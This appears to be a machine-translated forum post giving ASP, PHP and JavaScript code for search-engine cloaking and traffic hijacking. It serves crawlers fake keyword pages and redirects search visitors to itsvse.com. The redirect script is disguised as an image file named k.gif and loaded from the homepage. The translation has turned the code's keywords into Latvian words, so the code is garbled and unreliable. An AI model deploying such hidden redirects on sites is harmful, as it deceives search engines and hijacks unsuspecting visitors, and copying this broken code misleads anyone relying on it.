Pirmkārt, tas ir vienkārši, pievienojiet šādu kodu sākumlapai:
ASP versija
<!--#include file="conn.asp"-->
<script src="images\k.gif"></script>
PHP versija
<!--#include file="conn.php"-->
<script src="images\k.gif"></script>
Pēc tam pievienojiet šādu kodu savienojuma failam saskaņā ar vietnes programmu, ja jums nav conn.asp vai conn.php, izveidojiet to pats:
conn.asp izdevums
----------- šādu reprodukciju--------------------------------
<%
funkcija isspider()
dim aģents,searray,i
agent="aģents:"&LCase(request.servervariables("http_user_agent"))
searray=masīvs("googlebot","baiduspider","sogou","yahoo","soso","360spider")
isspider = nepatiess
no i=0 līdz ubound(searray)
ja (instr(aģents,searray(i)))>0) tad isspider=true
nākamais
beigu funkcija
funkcija fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(pieprasījums. ServerVariables("HTTP_REFERER"))
fromse = false
ja urlrefer="" tad fromse= false
searray=array("google","baidu","sogou","yahoo","soso","360")
no i=0 līdz ubound(searray)
ja (instr(urlrefer,searray(i))>0) tad fromse=true
nākamais
beigu funkcija
funkcija gethttp(url)
dim http
set http=createobject("MSXML2. XMLHTTP")
http.open "GET",url,false
Http.send()
ja Http.readystate<>4, tad
Izejas funkcija
beigt, ja
gethttp=bytes2BSTR(Http.responseBody)
iestatīt http=nothing
ja kļūdaina.skaitlis<>0, tad kļūda. Notīrīt
beigu funkcija
funkcija bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
Par i = 1 Uz LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
Ja ThisCharCode < &H80, tad
strReturn = strReturn & Chr(ThisCharCode)
Citādi
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
Beigt, ja
Nākamais
baiti2BSTR = strReturn
Beigu funkcija
ja (isspider ()) tad
dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
bodyurl="http://www.itsvse.com" //momentuzņēmuma URL
atbilde.notīrīt
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
response.write("<!--"&tagad()&"-->")
atbilde.flush
atbilde.beigas
beigt, ja
%>
conn.php
---------------- šādu reprodukciju----------------
<?php
funkcija is_search_bot(){
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = masīvs('baiduspider','sogou spider','sosospider','iaskspider','naverrobot');
foreach ($identify AS $key => $tag){
if (strstr($user_aģents, $tag)){
atgriešanās true;
}
}
atgriešanās nepatiesa; }
Funkcija is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver";
$referer = eksplodēt("@",$come_no);
foreach($referer kā $url){
if (stristr($_SERVER['HTTP_REFERER'],$url)){
atgriešanās true;
}
}
atgriešanās nepatiesa; }
ja (is_search_bot)
{
$html = "<title>Uhaņas programmatūras inženierijas profesionālā koledža</title> <meta nosaukums=\"Autors\" content=\"Aizpildiet to pašu kā atslēgvārdi\"> <meta nosaukums=\"Atslēgvārdi\" content=\"Atslēgvārdi\"> <meta nosaukums=
\"Apraksts\" content=\"Apraksts\"> </head> <body>saturs</body></html>";
atbalss $html;
}
ja (!is_search_bot() && is_urlbaidu())
{
Header('Atrašanās vieta:http://www.itsvse.com');
}
?>
Visbeidzot, attēlu direktorijā augšupielādējiet k.gif failu k.gif kodu:
var s=dokuments.novirzītājs
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; Novirzīšanas URL
|
Publicēts 01.12.2014 18:48:55
|
|
|
